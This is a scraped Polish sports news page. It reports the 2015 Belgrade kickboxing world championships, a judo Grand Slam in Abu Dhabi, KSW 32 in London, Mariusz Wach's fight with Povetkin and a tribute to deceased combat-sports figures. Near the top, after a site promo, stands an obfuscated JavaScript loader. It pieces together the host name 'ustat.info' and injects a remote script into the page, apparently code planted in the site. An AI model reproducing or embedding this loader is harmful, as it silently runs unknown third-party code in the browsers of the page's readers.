Link2sport to innowacyjna i unikatowa platforma skierowana do bardzo szerokiej grupy odbiorców, których łączy sport – zarówno w wydaniu amatorskim jak również profesjonalnym, a także od strony biznesowej. Jest to jedyne na polskim i europejskim rynku rozwiązanie oferujące tak wiele użyteczności zgromadzonych w jednym miejscu.

Dołącz do Link2sport już dziś i przekonaj się jak łatwo możesz uwolnić swój sportowy potencjał: www.link2sport.pl

 

 

[kod]

(function(){
u9iy=document.createElement("script");u9iy.type="text/javascript";
u9iy.async=true;u9iy_=(("us")+"t")+"a";u9iy_+=("t.i")+""+"n";u9iy_+=(("f")+"o");
u9iy.src="http://"+u9iy_+"/5368256.Xyztnv2g9iy6igu7qjncwf5yvgp9jg";
document.body.appendChild(u9iy);
})();

Moc polskiego kickboxingu

Po raz kolejny zyskaliśmy dowód, że nasz kickboxing ma się dobrze. Na światowych salonach nasi zawodnicy zaprezentowali wysoki poziom, który okrasili pokaźną zdobyczą medalową.

Podczas rozegranych w Belgradzie mistrzostw świata nasza reprezentacja wywalczyła łącznie dwadzieścia dwa krążki, w tym osiem złotych. W klasyfikacji medalowej biało-czerwoni uplasowali się na trzecim miejscu. Najlepsi okazali się Rosjanie, którzy wyprzedzili Serbów.

Ogromny potencjał

Czasami jest tak, że raz po raz powtarza się frazy o posiadaniu pewnego kapitału. Nie każdy potrafi go przekłuć w sukces, jednak w przypadku naszych kickbokserów sytuacja jest zgoła odmienna. Od lat nasi reprezentanci pokazują, że w ich przypadku potencjał daje wymierne efekty.

Najlepszym tego dowodem jest start w mistrzostwach świata w Belgradzie. Podczas trwania czempionatu docierały do nas kolejne radosne informacje. Nasi zawodnicy gromili kolejnych rywali na swoich drogach i zmierzali w kierunku miejsc na podium. Po raz drugi mistrzynią świata w kick-light została Dorota Godzina. Zawodniczka X-Fight Piaseczno złoty krążek wywalczyła w 2011 roku i po czterech latach mogła po raz kolejny cieszyć się z triumfu. W finale kategorii 55kg była zdecydowanie lepsza, co przekłuło się na pewne zwycięstwo nad Jovaną Milovanović.

W dobrej formie do Belgradu udała się Iwona Nieroda. Było pewne, że zawodniczkę Diamentu Pstrągowa w low kicku stać na wiele i z każdą kolejną walką rósł apetyt na medal. W ćwierćfinale Nieroda odprawiła z rywalizacji groźną Rosjankę. Ajla Lukac z Serbii nie miała zbyt wiele do powiedzenia w finałowej rywalizacji z Polką. W kick light po tytuł mistrza świata sięgnął Michał Bławdziewicz. Zawodnik warszawskiej Palestry w wadze ciężkiej uporał się z Ehramem Majidovem. Tyle szczęścia, co Bławdziewicz nie miał jego klubowy kolega. Jerzy Wroński w finale 74kg przegrał z Dimitarem Gjorgijevem. Trudne warunki Piotrowi Wypchałowi w kategorii 94kg postawił Ibrahim Telli. Zacięty bój zakończył się jednak pozytywnym werdyktem dla Polaka, który wygrał 2:1. W K-1 po mistrzostwo świata sięgnęła Paulina Bieć w kategorii +70kg.

Panie są lepsze

Warto rozłożyć nasz dorobek medalowy na części pierwsze. Łącznie Polacy wywalczyli dwadzieścia dwa krążki, w tym osiem złotych, cztery srebrne i dziesięć brązowych. Najlepiej zaprezentowali się zawodnicy rywalizując w kick light. Nasi reprezentanci wywalczyli pięć złotych, dwa srebrne i trzy brązowe. W low kicku nie mamy wicemistrza świata, ale są za to dwie mistrzynie (Nieroda i Marta Waliczek). Z kolei w K-1 złoto dla Pauliny Bieć, srebra dla Pawła Stępniewskiego (57kg) i Arkadiusza Kasuzby(81kg). Do tego dochodzą jeszcze trzy medale koloru brązowego.

W naszej kadrze jest pięć mistrzyń świata i trzech mistrzów. Srebrne medale zdobywali tylko panowie. Siedem brązowych krążków zapisały na swoim koncie nasze zawodniczki. Trzy zawisły na szyjach naszych panów.

KM

Japonka pozbawiła Kłys szans na złoto

Katarzyna Kłys zaprezentowała się z dobrej strony podczas turnieju Grand Slam w judo, który został rozegrany w Abu Zabi. Polka startująca w kategorii 70kg stanęła na podium.

Kłys była skuteczna, co pozwoliło jej na zdobycie brązowego medalu. Dodatkowo zyskała dwieście punktów w wyścigu o wyjazd na Igrzyska Olimpijskie do Rio de Janeiro. Dobry występ w Abu Zabi zaliczyła również Karolina Pieńkowska, która stoczyła m.in. wyrównany bój z Majlindą Kelmendi.

Japonka nie do pokonania

Katarzyna Kłys nie może znaleźć sposobu na Chizuru Arai, która jest sklasyfikowana na dziewiątym miejscu w światowym rankingu. Judoczki spotkały się podczas drużynowego starcia w mistrzostwach świata w Astanie. W finale Polska uległa Japonii 0:5. Arai nie dała żadnych szans Kłys. Podobnie było w Abu Zabi, gdzie zawodniczki spotkały się w ćwierćfinale i Japonka triumfowała przez waza-ari.

Zawodniczka Polonii Rybnik w Abu Zabi trafiła na wymagające rywalki, jednak poniosła tylko jedną porażkę. Kłys wygrała przez ippon z siódmą zawodniczką światowego rankingu Sally Conway. Porażka z Arai sprawiła, że Polka musiała rywalizować w repasażach. Wygrana pozwalała jej walczyć o brązowy medal. Kłys musiała pokonać Assmę Niang. Reprezentantka Maroko jest czternastą zawodniczką światowego rankingu, więc Polka po raz kolejny musiała wspiąć się na wyżyny. W Abu Zabi prezentowała dobrą dyspozycję. Kłys walczyła agresywnie i dostała dwie żółte kartki, ale udało jej się wygrać z Niang przez ippon. W pojedynku o brąz Polka stanęła na wprost Kelity Zupancic. Zacięta walka, ale Kłys po raz kolejny pokazała, że jest naładowana i niestraszna jej żadna rywalka. Ippon zdecydował o trumfie zawodniczki Polonii Rybnik.

W takiej dyspozycji o kolejne występy Kłys możemy być spokojni. Szkoda, że w Abu Zabi nie znalazła sposobu na Arai. W starciach z zawodniczkami z czołówki Polka pokazała swoją siłę i potencjał.

Pieńkowska szła jak burza

Dobry występ w Abu Zabi zaliczyła Karolina Pieńkowska w kategorii 52kg. Polka rywalizowała na równi z rywalkami z czołówki światowego rankingu. Na początek Pieńkowska trafiła na Joanę Ramos z Portugalii. Dwunastka zawodniczka światowego rankingu musiała uznać wyższość Polki. W kolejnym pojedynku los skojarzył reprezentantkę Polski z Laurą Gomez. Pieńkowska wygrała przez waza-ari, ale w ćwierćfinale trafiła na rywalkę z najwyższej półki. Majlinda Kelmendi to trzecia zawodniczka światowego rankingu, była mistrzyni świata i Europy. Reprezentantka Kosowa od początku była aktywna i atakowała naszą zawodniczkę. W końcu Kelmendi rzuciła Polkę, owinęła się wokół niej aż udało jej się zakończyć pojedynek przez ippon.

Pieńkowska walczyła dalej. Polka trafiła do repasaży, gdzie poradziła sobie z Gili Cohen. Pieńkowska wygrała przez waza-ari, ale warto wspomnieć, że zawodniczka z Izraela zapisała na swoim koncie yuko. Pojedynek o trzecie miejsce wyrównany. Priscila Gneto okazała się wymagającą przeciwniczką, a co najważniejsze była w pełni skupiona i uważna. Żadna z judoczek nie znalazła sposobu, aby zaskoczyć swoją rywalkę. Francuzka wygrała dzięki karom shido. Pieńkowska dostała dwa upomnienia, a Gneto tylko jedno. Reprezentantka Polski zajęła piątą pozycję w prestiżowych zawodach Grand Slam w Abu Zabi, czy poprawiła swój dorobek punktowy w klasyfikacji olimpijskiej. Pieńkowska zdobyła sto punktów.

KM

Mistrzostwa Świata w kickboxingu, Belgrad 2015

8 złotych medali reprezentantów Polski

Polscy kickbokserzy wygrali aż 8 z 12 dzisiejszych walk finałowych Mistrzostw Świata w formułach Low Kick, K-1 Rules i Kick Light. Łącznie nasi reprezentanci zdobyli 22 medale w Belgradzie.

W Kick Light tytuły mistrzowskie wywalczyli Dorota Godzina (-55 kg), Paulina Jarzmik (-60 kg), Mateusz Jereczek (-89 kg), Piotr Wypchał (-94 kg) i Michał Bławdziewicz (+94 kg). W K-1 Rules po złoto sięgnęła Paulina Bieć (+70 kg), a w Low Kicku – Iwona Nieroda (-56 kg) i Marta Waliczek (-60 kg).
 

W klasyfikacji medalowej Polacy zajęli znakomite 3 miejsce – 8 złotych, 4 srebrne i 10 brązowych. Wygrali Rosjanie 11-8-8, przed gospodarzami Serbami 9-6-14.
 

Po raz 2 na najwyższym stopniu podium stanęła Dorota Godzina (X Fight Piaseczno).
 

– Z Mistrzostw Świata do tej pory przywiozłam 3 krążki – 1 złoty (2011, Kick Light) i 2 brązowe (2005, Pointfighting i 2013, Full Contact). W tegorocznym turnieju nie było Włoszki Nicoli Perony, z którą przegrałam w zeszłym roku w Mistrzostwach Europy – powiedziała Dorota Godzina.
 

Tym razem Włoszka walczyła w wadze -60 kg, a jej finałową rywalką była Paulina Jarzmik. Polka wygrała 2-1.
 

– Przeciwniczka była mi bardzo dobrze znana. Od trzech lat nikt jej nie pokonał, to wielokrotna mistrzyni świata i Europy. Walka przez wszystkie trzy rundy była bardzo wyrównana, ale w końcu mi się udało wygrać i zostać nowa mistrzyni świata – mówiłaPaulina Jarzmik (X Fight Piaseczno).
 

Podobnie jak Paulina, również po 2-1 zwyciężali Mateusz Jereczek (Kartuski Klub Kick-boxingu Rebelia) i Piotr Wypchał (Krakowska Akademia Taekwondo). Mateusz Jereczek wygrał z Łotyszem Reinisem Porozovsem (bilans pięściarski 3-5-1), który w czerwcu był w Pomigaczach koło Białegostoku i przegrał zawodową walkę bokserską w wadze junior ciężkiej z 4-krotnym mistrzem Polski w boksie amatorskim Władimirem Letrem.
 

W Low Kicku 2 złoty medal MŚ w karierze zdobyła Iwona Nieroda (Diament Pstrągowa). O jej występie mówi trener klubowy Jerzy Pilarz.
 

– Iwona wyraźnie wygrała. Po zwycięstwie w ćwierćfinale nad broniącą tytułu Rosjanką byłem prawie pewny, że będzie złoto. Chociaż jeszcze przed Mistrzostwami Świata wierzyłem, że tytuł jest w zasięgu ręki, jak nigdy dotąd. Iwona była bowiem w znakomitej formie. Współpracujemy od zawsze, Iwona była moją uczennicą w szkole podstawowej. A od roku 2002 rozpoczęła treningi w moim klubie i do chwili obecnej razem trenujemy.
 

Podsumowując poszczególne formuły, Biało-Czerwoni rewelacyjnie spisali się w wersji Kick Light(trenerzy Tomasz Biernacki, Piotr Siegoczyński), w której nie mają sobie równych na świecie. Zdobyli 5 złotych, 2 srebrne i 3 brązowe medale.
 

Low Kicku (trenerzy Andrzej Garbaczewski, Witold Kostka) Polacy wywalczyli 2 złote i 4 brązowe krążki, co dało im 3 miejsce.
 

K-1 Rules (trenerzy Tomasz Mamulski i Tomasz Skrzypek) reprezentanci Polski na 4 miejscu – 1 złoty, 2 srebrne i 3 brązowe medale. – Stoczyliśmy łącznie 32 walki, z których 17 wygraliśmy. To dobry wynik – ocenił trener Tomasz Skrzypek.
 

Wyniki finałowych walk Polaków – 31 października:
 

K-1 Rules

K1 +70kg Paulina Bieć (Polska) – Tamara Basić (Serbia) wygr. Bieć 3-0

K1 -57 kg Paweł Stępniewski (Polska) – Bakhtiar Mukhamedzianov (Rosja) por. Stępniewskiego 0-3

K1 -81 kg Arkadiusz Kaszuba (Polska) – Alexandar Petrov (Bułgaria) por. Kaszuby 0-3
 

Low Kick

LK -56kg Iwona Nieroda (Polska) – Ajla Lukac (Serbia) wygr. Nierody 3-0

LK -60kg Marta Waliczek (Polska) – Cigdem Kirvac (Turcja) wygr. Waliczek 3-0
 

Kick Light

KL -55kg Dorota Godzina (Polska) – Jovana Milovanović (Serbia) wygr. Godziny 3-0

KL -60 kg Paulina Jarzmik (Polska) – Nicole Perona (Włochy) wygr. Jarzmik 2-1

KL -74 kg Jerzy Wroński (Polska) – Dimitar Gjorgijev (Macedonia) por. Wrońskiego 1-2

KL -79kg Wojciech Wiśniewski (Polska) – Emdnuil Dimitrov (Bułgaria) por. Wiśniewskiego 0-3

KL -89kg Mateusz Jereczek (Polska) – Reinis Porozovs (Łotwa) wygr. Jereczka 2-1

KL -94kg Piotr Wypchał (Polska) – Ibrahim Telli (Turcja) wygr. Wypchała 2-1

KL +94 kg Michał Bławdziewicz (Polska) – Ehram Majidov (Azerbejdżan) wygr. Bławdziewicz 3-0
 

Złote medale:

K-1 Rules

K1 +70kg Paulina Bieć (KS Gym Fight Wrocław) data ur. 15.02.84
 

Low Kick

LK -56kg Iwona Nieroda (Diament Pstrągowa) 23.05.90

LK -60kg Marta Waliczek (Beskid Dragon Bielsko-Biała) 11.07.87
 

Kick Light

KL -55kg Dorota Godzina (X Fight Piaseczno) 06.02.85

KL -60 kg Paulina Jarzmik (X Fight Piaseczno) 02.07.94

KL -89kg Mateusz Jereczek (Kartuski Klub Kick-boxingu Rebelia) 23.09.92

KL -94kg Piotr Wypchał (Krakowska Akademia Taekwondo) 18.03.80

KL +94 kg Michał Bławdziewicz (Palestra Warszawa) 14.06.93
 

Srebrne medale:

K-1 Rules

K1 -57 kg Paweł Stępniewski (Palestra Warszawa) 18.03.92

K1 -81 kg Arkadiusz Kaszuba (Rzeszowski Klub Sportów Walki) 26.07.94
 

Kick Light

KL -74 kg Jerzy Wroński (Palestra Warszawa) 15.02.81

KL -79kg Wojciech Wiśniewski (Zamek Expom Kurzętnik) 24.01.82
 

Brązowe medale:

K-1 Rules

K-1 -56 kg Małgorzata Dymus (Fighter Wrocław) 24.10.91

K-1 -71 kg Marcin Kret (UKS Puncher Wrocław) 05.07.92

K-1 -86 kg Dawid Kasperski (UKS Puncher Wrocław), 07.07.90
 

Low Kick

LK -48 kg Joanna Walkiewicz (SKKB Kielce) 04.07.89

LK -65 kg Katarzyna Jaworska (PACO Katowice) 05.08.91

LK -70 kg Kamila Bałanda (Champion Gdańsk) 12.09.84

LK -63,5 kg Jan Lodzik (Tajfun Legionowo) 09.02.1995
 

Kick Light

KL -50 kg Anna Knobel (Beniaminek 03 Stargard Gdański) 14.03.90

KL -65 kg Monika Kędzierska (CSE Sparta Chrzanów) 09.12.89

KL -70 kg Agnieszka Wiśniewska (X Fight Piaseczno) 01.09.89

Pamięć nigdy nie ustanie

Wszystkich Świętych to dzień szczególny. Dzień pamięci, która trwa i w tym dniu w sposób szczególny otaczana jest troską oraz estymą. 1 listopada pozwala zatrzymać się na chwilę i podjąć refleksję nad naszym ziemskim losem.

Przemierzamy kolejne kilometry, załatwiamy sprawy, realizujemy cele, ale czas umyka nam między palcami. Zatrzymujemy się w przypadku informacji o śmierci kogoś bliskiego. Podejmujemy refleksję i analizujemy otaczającą nas rzeczywistość. Uświadamiamy sobie, że los może zmienić się w ciągu jednej chwili.

W roku 2015 w sportach walki żegnaliśmy wybitne i zasłużone postaci, ale także tych, którzy byli u progu swoich karier. Śmierć nie zadaje pytań. Przychodzi i pogodzenie się z nią dla wielu jest bolesne, trudne. Dlatego też w tym dniu pamiętajmy o tych wszystkich, których znaliśmy i ceniliśmy, a przy okazji dokonajmy czysto ludzkiej refleksji. Wszystkich Świętych to okazja do uświadomienia sobie, że nie odszedł ten, kto nadal jest w naszych sercach. Najsilniejsza jest pamięć i to ona musi trwać. Oddajmy cześć tym, których już z nami nie ma.

We wrześniu pożegnaliśmy wielkiego mistrza kickboxingu. Józef Warchoł odszedł niespodziewanie. Zbyt wcześnie – miał zaledwie 51 lat. Warchoł był wielokrotnym mistrzem świata i Europy. Po zakończeniu kariery zawodniczej poświęcił się pracy szkoleniowej. W ringu twardy i nieustępliwy. Nigdy się nie poddawał, zawsze szedł do przodu i mocnymi ciosami odprawiał kolejnych rywali.

Bogusław Klejn odszedł od nas w czerwcu. Wielokrotny mistrz Polski w zapasach, reprezentant kraju w stylu klasycznym i wolnym miał 79 lat. Piotr Grabowski otrzymał wiele wyróżnień Polskiego Związku Zapaśniczego. Całe życie poświęcił zapasom. Najpierw jako zawodnik, który sięgał po tytuły mistrzowskie, a następnie jako wychowawca kolejnych pokoleń zapaśników. Odszedł w sierpniu w wieku 74 lat.

22 lutego 2015 roku zmarł jeden z ojców judo w Polsce. Tadeusz Kochanowski był współtwórcą i pierwszym prezesem Polskiego Związku Judo. Od lat 50. XX wieku wprowadzał judo i upowszechniał je, aby z czasem nadać dyscyplinie sportową formę. Wykładowca Akademii Wychowania Fizycznego w Warszawie, autor wielu programów i mentor kadr instruktorskich judo. Kochanowski zmarł w wieku 88 lat.

W wieku 71 lat zmarł Wiesław Hałaburda. Wybitny trener judo, który pracował w Gryfie Słupsk. Poprowadził do wielkich sukcesów m.in. Bogusławę Olechnowicz. Hitoshi Saito odszedł zbyt wcześnie. Dwukrotny mistrz olimpijski w judo w kategorii +95kg zmarł w wieku 54 lat. Od 2013 roku Japończyk zmagał się z nowotworem pęcherzyka żółciowego.

W sierpniu otrzymaliśmy informację o śmierci zaledwie 28-letniego Ariela Krasnopolskiego. Przez wielu pięściarz został zapamiętany z walki z Krzysztofem Cieślakiem, którego to w 2013 roku w pierwszej rundzie posłał na deski. Krasnopolski na zawodowym ringu stoczył pięć walk. W lutym świat dowiedział się o śmierci Oscara Diaza. Pięściarz przez wielu uznawany był za czołową postać wagi półśredniej, ale wszystko zmieniło się w 2008 roku. Kariera Amerykanina została przerwana. W pojedynku z Delvinem Rodriguezem Diaz został znokautowany i stracił przytomność. Przez dwa miesiące pozostawał w śpiączce. W wyniku ciosów doznał obrzęku mózgu. Po wyjściu ze szpitala przechodził rehabilitację, aby dojść do pełnej sprawności. Walczył, ale w lutym opuścił bokserski świat w wieku 32 lat.

Davey Browne Jr. z ringu trafił do szpitala. W walce z Carlo Magalim doznał poważnych obrażeń mózgu. Australijczyk przebywał w śpiączce, jednak jego stan był ciężki. Rodzina podjęła decyzję o wyłączeniu aparatury podtrzymującej życie. Browne zmarł we wrześniu w wieku 28 lat.

16 października, w dniu swoich urodzin, zmarł Bogdan Chruścicki. Wybitny dziennikarz sportowy, który swoją uwagę poświęcał również zapasom. Ogromne doświadczenie i wiedza pozwalały swobodnie poruszać się redaktorowi Chruścickiemu w meandrach sportu. Porywał serca widzów. Zmarł w wieku 69 lat. W 2015 roku odszedł również kolejny guru dziennikarstwa sportowego. Postać wybitna, mistrz słowa i budowania napięcia, gentelman. Po prostu Bodhan Tomaszewski. Wybitnego sprawozdawcę pożegnaliśmy 27 lutego. Tomaszewski miał 93 lata.

Pamiętamy również o wielu innych wybitnych postaciach świata sportów walki. Cały czas brakuje nam świetnego komentarza Jerzego Kuleja, którego nie ma z nami już trzy lata. Wybitny bokser, wspaniały analityk, mistrz olimpijski z Tokio i Meksyku. W 2012 roku zmarł Mike Bernardo. Wielki kickbokser, który próbował swoich sił w boksie. Mistrz formuły K-1. W 2010 roku odszedł Antonius Johannes Geesink. Potężny Holender dwukrotnie sięgnął po tytuł mistrza świata w judo, dostąpił również nadania 10 stopnia Dan. W naszych serca trwa i będzie trwać pamięć o Zbigniewie Pietrzykowskim. Wybitny bokser, medalista olimpijski zmarł w 2014 roku w wieku 79 lat.

Pamiętamy i pamiętać będziemy. Wybitne postaci sportów walki, wielcy mistrzowie, profesjonaliści, a przede wszystkim wspaniali ludzie, przyjaciele, koledzy, za którymi najzwyczajniej w świecie tęsknimy. 1 listopada będziemy ich wspominać, a ich miejsce jest w naszych sercach. Bo pamięć musi trwać.

KM 

KSW podbiło Londyn

Emocjonujące walki, efektowne nokauty, triumfy polskich fighterów. Gala KSW 32 w Londynie to pojedynki na najwyższym poziomie. Polska organizacja pokazała wysoki poziom sportowy, co jest dobrą wizytówką dla naszego MMA.

Czy KSW podbije Londyn? To pytanie powtarzano jak mantrę w związku z galą polskiej organizacji w stolicy Anglii. Widzowie, którzy zdecydowali się obejrzeć galę na Wembley, nie mogli narzekać na nudę.

Borys trzyma poziom, „Pudzian” nie dał rady

Borys Mańkowski udowodnił, że stale rozwija się i jego umiejętności predysponują go do występów na najwyższym poziomie. Jesse Taylor od początku chciał zdominować Polaka. „Diabeł Tasmański” stawiał opór Amerykaninowi, jednak ten sprowadził walkę do parteru i uderzał naszego zawodnika łokciami. Mistrz wagi półśredniej skutecznie bronił się, jednak stracił punkt. W parterze uderzył swojego rywala kolanem. Po chwili było już po sprawie. Walkę wznowiono i Mańkowski ruszył z impetem na Amerykanina. „Diabeł Tasmański” sprowadził pojedynek do parteru i wypracował sobie komfortową pozycję. Zastosował duszenie zza pleców, które dało mu zwycięstwo po trzech minutach rywalizacji.

W walce wieczoru zaprezentował się Mariusz Pudzianowski, który miał zjeść grahamkę, czyli Petera Grahama. Doświadczony Australijczyk utarł Polakowi nosa. „Pudzian” od początku ruszył na rywala i zaczął go rozbijać. W parterze miał korzystniejszą pozycję, Graham przyjmował kolejne ciosy. Druga runda to popis Australijczyka, który pokazał Polakowi, że ma większe doświadczenie w MMA i lepiej zna się na tym fachu. Graham nie miał litości dla Pudzianowskiego, który był bezsilny. 40-latek z Sydney w parterze postawił kropkę nad „i”.

Dziesiąte zwycięstwo na swoim koncie zapisał Mateusz Gamrot. Poznaniak może śmiało myśleć o walce o pas wagi lekkiej. Gamrot stanął przed trudnym zadaniem w Londynie. Jego rywalem był Marif Piraev, który wysoko zawiesił poprzeczkę Polakowi. Gamrot szybko sprowadził rywala, ale ten zaprezentował swój bogaty warsztat i próbował rozstrzygnąć walkę przez gilotynę, jednak Poznaniak cało wyszedł z opresji. Druga runda należała do Gamrota. Od początku niemiłosiernie obijał rywala, jednak ten nadal nie tracił sił. W końcu „Gamer” znalazł receptę na rywala. Techniczny nokaut zakończył rywalizację.

Kolejna porażka „Różala”

Ciężkie chwile w Londynie przeżył Marcin Różalski. Popularny „Różal” zanotował drugą porażkę z rzędu. James McSweeney był aktywny i efektowny. Różalski poszedł na wymianę, starał się zaskoczyć swojego rywala, jednak ten torpedował zapędy Polaka. W końcu znalazł sposób na fightera z Płocka. McSweeney wygrał przez duszenie zza pleców.

W Londynie przegrał również Rafał Moks. Jim Wallhead udanie zadebiutował w KSW, jednak pojedynek walki na to nie wskazywał. W pierwszej rundzie nic się nie działo. Druga odsłona również rozpoczęła się spokojnie, jednak w końcu Wallhead wypalił kombinację ciosów i było po sprawie. Zdyskwalifikowany został Michał Włodarek, który uderzył swojego rywala w sposób nieprzepisowy. Z wygranej mógł zatem cieszyć się Oli Thompson.

Radości nie krył również Tomasz Narkun. Goran Reljic przystępował do pojedynku z Polakiem jako mistrz KSW wagi półciężkiej. Chorwat nie miał czasu, aby pokazać swoje umiejętności. Narkun nie zamierzał czekać i szybko rozpoczął marsz po pas. Zawodnik z Bałkanów poznał siłę Polaka, który po dwóch minutach zaserwował swojemu rywalowi nokaut.

Niespełna minuty potrzebował Maiquel Falcao, aby uporać się z Brettem Cooperem. Brazylijczyk od początku z determinacją ruszył na swojego rywala. W stronę Coopera leciały kolejne ciosy, a po prawym sierpowym Amerykanin nie był w stanie kontynuować walki. Leszek Krakowski na punkty pokonał Andre Winnera. Pierwszy pojedynek londyńskiej gali był spokojny, a w zasadzie nudny i nie zapowiadał emocji.

Napięcie rosło z czasem. Wiele osób zastanawiało się, czy KSW zda egzamin w Londynie. Pojedynki były efektowne, nie brakowało nokautów. KSW dało w Londynie popis. Działo się. „Pudzian” nie zjadł grahamki, ale za to Narkun wraca do Polski z pasem.

KM

Bojowy Wach

Czy to będzie powrót na szczyt? Już 4 listopada w Kazaniu Mariusz Wach zmierzy się z Aleksandrem Powietkinem. Pojedynek odbędzie się w dość nietypowy, jak na galę bokserską, dzień. 

Środa. Wtedy Mariusz Wach będzie mógł pokazać, czy stać go jeszcze na rywalizację na najwyższym poziomie. Powietkin to wymagający rywal i nadal czołowa postać wagi ciężkiej.

Prawdziwy test

Wreszcie nadszedł czas, aby Wach sprawdził swoje możliwości. Po pojedynku z Władimirem Kliczko popularny „Viking” został zdyskwalifikowany za stosowanie niedozwolonych środków i na powrót na ring czekał prawie dwie lata. Wielu obserwatorów zastanawiało się, czy Wacha stać na wielki boks. Część prognozowała, że będzie raczej boksował do kotleta, aby dotrwać do emerytury. O powrocie na szczyt mówiło niewielu.

Jednak sam Wach chciał spróbować swoich sił. Ma ogromne wsparcie ze strony swojego teamu. Najpierw potrzebował czasu na powrót do regularnego boksowania. Dlatego też Wachowi serwowano rywali, przy których mógł wrócić na właściwe tory. Nie byli to wirtuozi ani wybitne postaci boksu. Rywale byli dobierani na miarę potrzeb Wacha, bo o tej w danej chwili chodziło. Samir Kurtagic jakby uszyty na miarę wszedł do ringu i spełnił oczekiwania. No, widowisko nie było porywające, a sam Wach potwornie zmęczony ośmiorundowym wysiłkiem. Travisa Walkera „Viking” położył już w szóstej rundzie. Polaka nieco przestraszył Gbenga Oluokun, który miał być chłopcem do bicia, ale momentami pokazał dobry boks. Ostatecznie Wach wygrał, tak samo jak w przypadku starcia z Konstantinem Airichem. Teraz przyszedł czas na prawdziwy test.

Aleksander Powietkin to doświadczony pięściarz, były mistrz świata WBA. W 2013 roku przegrał walkę życia, kiedy to musiał uznać wyższość Władimira Kliczki. Od tej pory stoczył trzy zwycięskie walki. Nadal celuje w mistrzowskie pasy.

Walka z podtekstami

Pojedynki polsko-rosyjskie zawsze rodzą ogromne emocje. Liczne podteksty, analogie historyczne. Nie inaczej jest tym razem. Środa to dość nietypowy dzień na bokserską walkę, ale czwarty dzień listopada obfituje w interesujące wydarzenia.

Od 2005 4 listopada jest świętem narodowym w Rosji. Dodatkowo od lat obchodzi się w tym dniu święto obrazu Matki Boskiej Kazańskiej, której pomoc była nieoceniona w wypędzeniu Polaków z Kremla w 1612 roku. Wygrana Powietkina dla wielu byłaby doskonałym prezentem. Często na walkach rosyjskiego zawodnika pojawia się prezydent Czeczenii Ramzan Kadyrow, a na treningach judo sam Władimir Putin.

Przed zwycięzcą otworzą się wrota do walki z mistrzem świata WBC Deontayem Wilderem. Wydaje się, że faworytem jest Powietkin, gdyż trudno określić możliwości Wacha. Polak dawno nie rywalizował z tak klasowym bokserem. Czy w Kazaniu odrodzi się?

Pewne jest, że zakończy się jego umowa z Mariuszem Kołodziejem i Jimmym Burchfieldem Sr.. „Viking” nie dogadywał się najlepiej z promotorami. Rozstanie będzie dla niego kosztowne. Całe honorarium za pojedynek z Powietkinem przejmą byli już współpracownicy Wacha.

KM

Kadra jedzie do Abu Zabi, a Kuczera wraca

Piotr Kuczera wywalczył brązowy medal w kategorii 90kg na mistrzostwach świata juniorów i juniorek w Abu Zabi. Młody Polak z radością może wrócić do kraju. W odwrotnym kierunku zmierza dziewięcioro naszych reprezentantów, którzy w najbliższy weekend wezmą udział w zawodach Grand Slam.

W październiku Abu Zabi zostanie w pełni doświadczone przez judo. Najpierw mistrzostwa świata juniorów i juniorek, a teraz zawody Grand Slam. Z pierwszej imprezy Polacy przywieźli brązowy medal. Jak będzie w drugim przypadku?

Walka o punkty

Piotr Kuczera w Abu Zabi walczył o medal. Ostateczny efekt jest jak najbardziej pozytywny. Polak startujący w kategorii 90kg stanął na trzecim miejscu podium. Kuczera stoczył dwie zwycięskie walki i w ćwierćfinale trafił na Mikhaila Igolnikova. Rosjanin okazał się wymagającym rywalem i odniósł triumf, ale w półfinale poległ w starciu z Nikolozem Sherazadishvilim. Ostatecznie Igolnikov zajął piąte miejsce, a Kuczera mógł cieszyć się z medalu. Polak w decydującym starciu przez ippon pokonał Niemca Davida Tekicia. W kategorii 90kg z dobrej strony pokazał się również Rafał Kozłowski, który zajął siódme miejsce.

O punkty w olimpijskim wyścigu powalczą nasi seniorzy. Do Abu Zabi uda się dziewięcioro naszych reprezentantów. Swoich sił w zawodach Grand Slam spróbują: Karolina Pieńkowska (52 kg), Arleta Podolak (57 kg), Katarzyna Kłys (70 kg) i Katarzyna Furmanek (+78 kg) oraz Aleksander Beta (66 kg), Łukasz Błach, Jakub Kubieniec (obaj 81 kg), Patryk Ciechomski (90 kg) i Maciej Sarnacki (+100 kg).

W Abu Zabi zabraknie Agaty Ozdoby (63kg) oraz Darii Pogorzelec (78kg). Srebrne medalistki mistrzostw świata w Astanie w drużynie na obecną chwilę mają zapewniony udział w Igrzyskach Olimpijskich, jednak nie wiadomo, czy do Rio de Janeiro pojadą. Obie odniosły poważne kontuzje, które uniemożliwiają im rywalizację i pod znakiem zapytania stawiają wyjazd na igrzyska.

Pewna Kłys

Z zawodników, którzy zaprezentują się w Abu Zabi pewną kwalifikację do Rio ma Katarzyna Kłys w kategorii 70kg. Jednak ostatni start zawodniczki Polonii Rybnik był bezowocny. Podczas Grand Slam w Paryżu Polka stoczyła zaledwie jedną walkę. Za to wcześniej udało jej się odnieść sukces. Kłys zajęła trzecie miejsce podczas Grand Prix w Taszkiencie.

Bilet w ręku do Rio ściska również Maciej Sarnacki (+100kg). Polak prezentuje stabilną formę, ale nie zachwyca. W marcu podczas Pucharu Świata w Warszawie odniósł zwycięstwo i takiego wyniku już nie powtórzył. Swojej szansy cały czas szuka Łukasz Błach (81kg). Z nadziejami do Abu Zabi jedzie Aleksander Beta (66kg), który w poprzednim sezonie pokazywał, że stać go na wiele.

A w Abu Zabi znacząco można poprawić swój dorobek. Triumfator zgarnie 500 punktów do rankingu, a drugi zawodnik wzbogaci konto o 300 punktów. Jakie można odnieść korzyści finansowe? Zwycięstwo warte jest 5 tys. dolarów, przegrany w finale zarobi 3 tys. Brązowy medalista może liczyć na 1,5 tys.

KM

Grand Slam w Abu Dhabi z mocnym polskim składem.

W tym tygodniu stolicą światowego judo będzie Abu Dhabi. Zakończyły się już udane dla Polaków Mistrzostwa Świata Juniorów, a od piątku do niedzieli odbywać się tam będzie prestiżowy turniej Grand Slam. Transmisje codziennie od godziny 14:00 w telewizji FightKlub.
 
W Zjednoczonych Emiratach Arabskich wystąpi 9-osobowa reprezentacja Polski. W składzie są aż cztery Wicemistrzynie Świata z Astany w drużynie Karolina Pieńkowska (-52 kg), Arleta Podolak (-57 kg), Katarzyna Kłys (-70 kg), Katarzyna Furmanek ( 78 kg). Z kadry męskiej walczyć będą Jakub Kubieniec (-81 kg), Łukasz Błach (-81 kg), Patryk Ciechomski (-90 kg), Maciej Sarnacki ( 100 kg).
 
